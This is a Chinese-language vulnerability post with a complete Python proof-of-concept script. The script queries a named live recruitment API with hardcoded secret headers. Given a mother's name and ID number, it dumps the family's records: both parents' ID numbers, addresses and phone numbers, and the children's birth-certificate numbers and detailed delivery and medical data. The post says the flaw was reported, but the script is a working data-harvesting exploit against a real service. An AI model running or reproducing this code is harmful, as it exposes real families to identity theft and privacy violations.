事先声明：漏洞已经上报相关部门，且在修复中

漏洞类型：远程 攻击复杂度：低 漏洞原因：信息传输未加密

漏洞接口：https://zyb.micro-recruit.com/zyb-app/mo/wxp/order/getwxpmailarchparents

利用该接口返回的json文本可以直接通过该地区身份证（母亲）获得其子女配偶等的档案信息！

下面是poc代码（请勿用于非法用途！）

# 只能通过母亲身份证来查，父亲没用
import json
import requests
from tenacity import retry, wait_fixed, stop_after_attempt
@retry(wait=wait_fixed(2), stop=stop_after_attempt(5))
def make_request(url, headers, payload):
    return requests.post(url, headers=headers, json=payload)

def main():
    name = input('母亲姓名:')
    idcard = input('母亲身份证:')

    headers = {
        'Host': 'zyb.micro-recruit.com',
        'Connection': 'keep-alive',
        'charset': 'utf-8',
        'micro-key': 'micro@2020',
        'User-Agent': 'Mozilla/5.0 (Linux; Android 9; LIO-AN00 Build/PQ3B.190801.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/91.0.4472.114 Mobile Safari/537.36 MMWEBID/2142 MicroMessenger/8.0.43.2480(0x28002B51) NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android',
        'micro-secret': 'micro@2020@xingdiankeji',
        'Referer': 'https://servicewechat.com/wx8cb112aefec5aca1/113/page-frame.html',
    }

    payload = {
        'motherCert': idcard,
        'motherName': name,
    }

    try:
        response = make_request('https://zyb.micro-recruit.com/zyb-app/mo/wxp/order/getwxpmailarchparents', headers, payload)

        if response.status_code == 200:
            try:
                response_json = response.json()
                if response_json.get("code") == "1" and response_json.get("result"):
                    for result in response_json["result"]:
                        print("\n--- 家长信息 ---")
                        print(f"母亲姓名: {result.get('motherName')}")
                        print(f"母亲证件类型: {result.get('motherCertType')}")
                        print(f"母亲身份证号: {result.get('motherCertNo')}")
                        print(f"母亲生日: {result.get('motherBirthday')}")
                        print(f"母亲国籍: {result.get('motherNationalityName')}")
                        print(f"母亲民族: {result.get('motherEthnicName')}")
                        print(f"母亲证件地址: {result.get('motherCertAddr')}")
                        print(f"母亲户籍省: {result.get('motherHouseholdProv')}")
                        print(f"母亲户籍市: {result.get('motherHouseholdCity')}")
                        print(f"母亲户籍区: {result.get('motherHouseholdCounty')}")
                        print(f"母亲户籍乡镇: {result.get('motherHouseholdTown')}")
                        print(f"母亲户籍详细地址: {result.get('motherHouseholdAddr')}")
                        print(f"母亲居住省: {result.get('motherResidenceProv')}")
                        print(f"母亲居住市: {result.get('motherResidenceCity')}")
                        print(f"母亲居住区: {result.get('motherResidenceCounty')}")
                        print(f"母亲居住乡镇: {result.get('motherResidenceTown')}")
                        print(f"母亲居住详细地址: {result.get('motherResidenceAddr')}")
                        print(f"母亲工作地点: {result.get('motherWorkplace')}")
                        print(f"母亲手机: {result.get('motherMobile')}")

                        print(f"父亲姓名: {result.get('fatherName')}")
                        print(f"父亲证件类型: {result.get('fatherCertType')}")
                        print(f"父亲身份证号: {result.get('fatherCertNo')}")
                        print(f"父亲生日: {result.get('fatherBirthday')}")
                        print(f"父亲国籍: {result.get('fatherNationality')}")
                        print(f"父亲民族: {result.get('fatherEthnicName')}")
                        print(f"父亲证件地址: {result.get('fatherCertAddr')}")
                        print(f"父亲户籍省: {result.get('fatherHouseholdProv')}")
                        print(f"父亲户籍市: {result.get('fatherHouseholdCity')}")
                        print(f"父亲户籍区: {result.get('fatherHouseholdCounty')}")
                        print(f"父亲户籍乡镇: {result.get('fatherHouseholdTown')}")
                        print(f"父亲户籍详细地址: {result.get('fatherHouseholdAddr')}")
                        print(f"父亲居住省: {result.get('fatherResidenceProv')}")
                        print(f"父亲居住市: {result.get('fatherResidenceCity')}")
                        print(f"父亲居住区: {result.get('fatherResidenceCounty')}")
                        print(f"父亲居住乡镇: {result.get('fatherResidenceTown')}")
                        print(f"父亲居住详细地址: {result.get('fatherResidence')}")
                        print(f"父亲工作地点: {result.get('fatherWorkplace')}")

                        if result.get("childrens"):
                            print("\n--- 子女信息 ---")
                            for child in result["childrens"]:
                                print(f"姓名: {child.get('name')}")
                                print(f"性别: {'男' if child.get('gender') == '1' else '女'}")
                                print(f"出生日期: {child.get('birthday')}")
                                print(f"出生省: {child.get('birthProvName')}")
                                print(f"出生市: {child.get('birthCityName')}")
                                print(f"出生区: {child.get('birthCountyName')}")
                                print(f"出生乡镇: {child.get('birthTownName')}")
                                print(f"出生地址: {child.get('birthAddress')}")
                                print(f"国籍: {child.get('nationality')}")
                                print(f"户籍省: {child.get('hprov')}")
                                print(f"户籍市: {child.get('hcity')}")
                                print(f"户籍区: {child.get('hcounty')}")
                                print(f"户籍乡镇: {child.get('htown')}")
                                print(f"户籍详细地址: {child.get('haddr')}")
                                print(f"居住省: {child.get('rprov')}")
                                print(f"居住市: {child.get('rcity')}")
                                print(f"居住区: {child.get('rcounty')}")
                                print(f"居住乡镇: {child.get('rtown')}")
                                print(f"居住详细地址: {child.get('raddr')}")
                                print(f"出生证号: {child.get('birthNo')}")
                                print(f"出生体重: {child.get('birthWeight')} 克")
                                print(f"出生身高: {child.get('birthHigh')} 厘米")
                                print(f"健康状态: {child.get('healthy')}")
                                print(f"生育次数: {child.get('deliTimes')}")
                                print(f"孕次: {child.get('pregTimes')}")
                                print(f"胎次: {child.get('parity')}")
                                print(f"胎位: {child.get('fetalPosition')}")
                                print(f"分娩日期: {child.get('deliDate')}")
                                print(f"分娩方式: {child.get('deliMode1')}")
                                print(f"接生单位: {child.get('deliUnitName')}")
                                print(f"接生人: {child.get('midwife')}")
                                print(f"孕周: {child.get('pregDays')}")
                                print(f"产程1期: {child.get('labor1')} 分钟")
                                print(f"产程2期: {child.get('labor2')} 分钟")
                                print(f"妊娠结局: {child.get('pregOutcome')}")
                                print(f"会阴情况: {child.get('perinealCondition')}")
                                print(f"婴儿情况: {child.get('babyCondition')}")
                                print(f"孕期并发症: {child.get('pregComp')}")
                                print(f"产时并发症: {child.get('obstetricComp')}")
                                print(f"产后并发症: {child.get('postpartumComp')}")
                                print(f"缺陷: {child.get('defect')}")
                                print(f"产前检查: {child.get('prenExam')}")
                                print(f" {child.get('memo')}")
                                print(f"死亡备注: {child.get('deadMemo')}")
                                print(f"证书单位: {child.get('certUnit')}")
                                print(f"证书名称: {child.get('certName')}")
                                print(f"IC卡: {child.get('iccard')}")
                                print(f"是否接种: {'已接种' if child.get('vacced') else '未接种'}")
                                print(f"书籍索引: {child.get('bookIndex')}")
                                print(f"接收人姓名: {child.get('receiveName')}")
                                print(f"接收人证件类型: {child.get('receiveCertType')}")
                                print(f"接收人证件号: {child.get('receiveCertNo')}")
                                print(f"接收人与孩子的关系: {child.get('receiveRelation')}")
                                print(f"档案单位: {child.get('archUnit')}")
                                print(f"档案名称: {child.get('archName')}")
                                print(f"档案时间: {child.get('archTime')}")
                                print(f"日期: {child.get('upd')}")
                                print(f"状态: {child.get('status')}")
                                print(f"来源类型: {child.get('type')}")
                                print(f"来源ID: {child.get('fromId')}")
                                print(f"标记: {child.get('mark')}")
                        else:
                            print("\n没有子女。")
                else:
                    print("未找到有效数据。")
            except json.JSONDecodeError:
                print("无法解析JSON响应")
                print("响应文本:", response.text)
        else:
            print(f"请求失败。状态码: {response.status_code}")
            print("响应文本:", response.text)
    except requests.exceptions.ConnectionError as e:
        print(f"请求失败: {e}")

if __name__ == '__main__':
    main()